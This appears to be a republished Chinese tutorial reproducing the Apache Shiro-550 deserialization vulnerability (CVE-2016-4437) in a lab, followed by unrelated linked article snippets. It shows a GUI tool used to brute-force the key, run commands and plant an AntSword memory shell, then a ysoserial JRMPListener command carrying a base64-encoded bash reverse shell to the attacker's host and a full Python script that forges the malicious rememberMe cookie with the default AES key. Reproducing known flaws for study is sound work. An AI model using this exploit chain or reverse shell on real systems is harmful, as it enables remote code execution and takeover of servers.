实用指南:APache shiro-550 CVE-2016-4437复现

news/2025/10/11 12:56:39/文章来源:https://www.cnblogs.com/wzzkaifa/p/19134783

目录

一、shiro反序列化漏洞原理

二、漏洞复现

三、手动漏洞复现


一、shiro反序列化漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

Apache shiro简介

Apache Shiro 是一个强大易用的 Java 安全框架,用于处理身份认证(登录)、授权(权限控制)、会话管理和加密,让应用安全实现变得简单规范。

漏洞影响版本

Apache shiro <= 1.2.4

二、漏洞复现

环境启动成功

随意输入账号密码,点击 Remember me,然后在登录的时候抓包如下。

我们发现请求包中包含rememberme字段,响应包中包含rememberMe=deleteMe这个 Cookie,这是 Shiro 的典型标志。

随后我们使用shiro反序列化漏洞综合利用工具,url输入http://192.168.112.152:8080/doLogin,然后改为POST方式,点击右面的爆破密钥,但是这样显示未发现shiro框架

 那么这里我们尝试url输入http://192.168.112.152:8080/,然后再次爆破密钥,这次成功拿到了密钥,所以这里提醒我们再使用工具时候尽量从根目录开始扫描,不用落下某个目录。

然后点击检测当前利用链,随后结果如下,使用构造链CommonsBeanutils1,回显方式选择ALLEcho。

点击命令执行,输入whoami,ok利用成功。

接下来点击内存马,选择蚁剑[Filter],输入个路径abc,随后执行注入,发现注入成功。

打开蚁剑,连接类型选择jsp,连接成功!

三、手动漏洞复现

为了能够清晰的展现构造恶意cookie的这个过程,这里使用两个方法。

方法:靶机访问攻击机启动的RMI服务来反弹shell

首先在攻击机监听4444端口

然后我们在9999端口启动一个RMI服务,任何连接到这个服务的机器都会执行后面的反弹shell语句。

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"

其中的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}是bash -i >& /dev/tcp/192.168.112.150/4444 0>&1的base64编码后的结果,大家在https://ares-x.com/tools/runtime-exec这里进行一键base64编码即可。

启动RMI服务成功

随后我们应该构造一个恶意的经过序列化->AES加密->base64编码的cookie中的rememberMe字段,然后通过该字段发送到服务器后进行base64解码,AES解密,反序列化,最终触发恶意代码使靶机去访问攻击机启动的RMI服务。

下面是对指向RMI服务的客户端连接指令进行加密编码。脚本shiro.py代码如下(注意这是一段python3的代码,其中key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥,其中的ysoserial-0.0.6-SNAPSHOT-BETA-all.jar名字用你们自己的就行。):

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])print("rememberMe={0}".format(payload.decode()))

接力来执行

python3 shiro.py 192.168.112.150:9999

生成成功!

随后我们应该复制然后来到靶机的网站页面,随后随便输入点用户名密码然后抓包,抓包结果如下。

随后我们在cookie值中复制我们的rememberMe字段,如图所示。

随后放包,然后回到我们的攻击机成功getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934735.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spark - deprecated registerTempTable() function

Spark - deprecated registerTempTable() functionIn Apache Spark, the function registerTempTable() was an old API (deprecated since Spark 2.0 and removed in Spark 3.0) that allowed you to register a Data…

MinGW-即时入门-全-

MinGW 即时入门(全)原文:zh.annas-archive.org/md5/a899d9a6a04025b2abd50163c83cff2a 译者:飞龙 协议:CC BY-NC-SA 4.0第一章. 立即开始使用 MinGW 欢迎使用 立即开始使用 MinGW。 本书特别创建,旨在为您提供所…

个人微信开发文档

个人微信开发文档、微信个人号api开发、微信机器人API 微信机器人是一种基于微信平台的自动化程序,能够根据用户的输入自动回复信息。它可以用于客服、信息查询、娱乐等多个场景。通过程序化的方式,微信机器人可以在…

Splay学习笔记

问题分析: (来源:洛谷P3369【模板】普通平衡树) 您需要动态地维护一个可重集合 \(M\),并且提供以下操作:向 \(M\) 中插入一个数 \(x\)。 从 \(M\) 中删除一个数 \(x\)(若有多个相同的数,应只删除一个)。 查询…

象棋图片转FEN字符串详细教程

如把下图转换成:3ak4/7R1/3aCcN2/p7p/6r2/9/Pr1p1n2P/4B1p2/9/2BAKA1R1 模型21K,Intel N100上训练时间0.969秒,识别时间0.957秒。识别率好像是100% 一、安装软件包 apt install python3-scipy python3-pil 二、建目…

自然语言处理在风险识别中的应用

本文介绍了如何利用自然语言处理和机器学习技术来识别和预测风险,包括在在线教育平台和产品开发阶段的应用,以及相关技术架构和团队构成。利用自然语言处理理解和识别风险 作为某中心的应用科学经理,Muthu Chandras…

详细介绍:正点原子【第四期】Linux之驱动开发学习笔记-6.1 pinctrl和gpio子系统

详细介绍:正点原子【第四期】Linux之驱动开发学习笔记-6.1 pinctrl和gpio子系统pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-…

cat

基本概述 cat命令来自英文词组”concatenate files and print“的缩写,其功能是用于在终端设备上显示文件内容。在Linux系统中有很多用于查看文件内容的命令,例如more、tail、head等,每个命令都有各自的特点。cat命…

深入解析:可持续金融的新范式:拆解欧盟ESG监管体系及其全球影响力

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Docker和K8S的区别详解 - 指南

Docker和K8S的区别详解 - 指南2025-10-11 12:39 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importan…

qt everywhere souce code编译 - 实践

qt everywhere souce code编译 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mona…

2023 CCPC final G

G. China Convex Polygon Contest 反悔贪心。 首先可以考虑对 \(b\) 排序,显然思考越快的题可以使手里攒着的题更多更有选择的空间。 如果正着贪心的话就是,当前能做就立马提交,如果当前的时间更优但选不了就从之前…

完整教程:微软 Azure AI 视频翻译服务助力 JowoAI 实现短剧高效出海

完整教程:微软 Azure AI 视频翻译服务助力 JowoAI 实现短剧高效出海pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: &qu…

2025 年高可靠性测试设备/HALT/HASS/Halt/Hass/厂家制造商推荐榜:聚焦高效质量解决方案,助力企业产品升级

随着制造业升级加速、高端产品对可靠性要求提升及全球市场对质量标准的严格化,高可靠性测试设备已从特定行业需求逐步成为电子、汽车、航空航天等领域的必备工具,2025 年市场规模预计持续增长。但市场扩张也带来厂商…

八字手链人物传记计划——旭

写在前面1542 字 | 朋友 | 感触 | 生活细节 | 经历 | 生活灵珍琴懿,骆旭泽予。 正文我与旭已经四年没有联系过了。自初中以后,他似乎消失了一般。后面听人说,他去学了医。我很难想象,那个憨厚老实的一个胖胖孩子,…

详细介绍:c# datagridview添加list内容

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

20232309 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 1.1学习内容缓冲区漏洞的概念,发展历程,经典案例 缓冲区溢出的基本知识gdb的基本操作:break、step、stepi、continue等 基本汇编指令:push、pop、ret、call等 栈结构:环境变量/参数和个数以及主函数和…

亚马逊发布基于Linux的Vega OS电视系统,禁止侧载应用

亚马逊正式推出基于Linux的Vega OS电视操作系统,取代基于Android的Fire OS。新系统仅支持亚马逊应用商店,禁止侧载应用,性能更高效但内存要求更低,目前仅在新款Fire TV 4K Select上提供。亚马逊发布基于Linux的Veg…

.net9.0 JWT AUTH2.0 添加身份认证授权

1、添加 Microsoft.AspNetCore.Authentication.JwtBearer 包(9.0.9) 2、 添加类 public class TokenParameter { public const string Issuer = "aa";//颁发者 public const string Audience = "bb&q…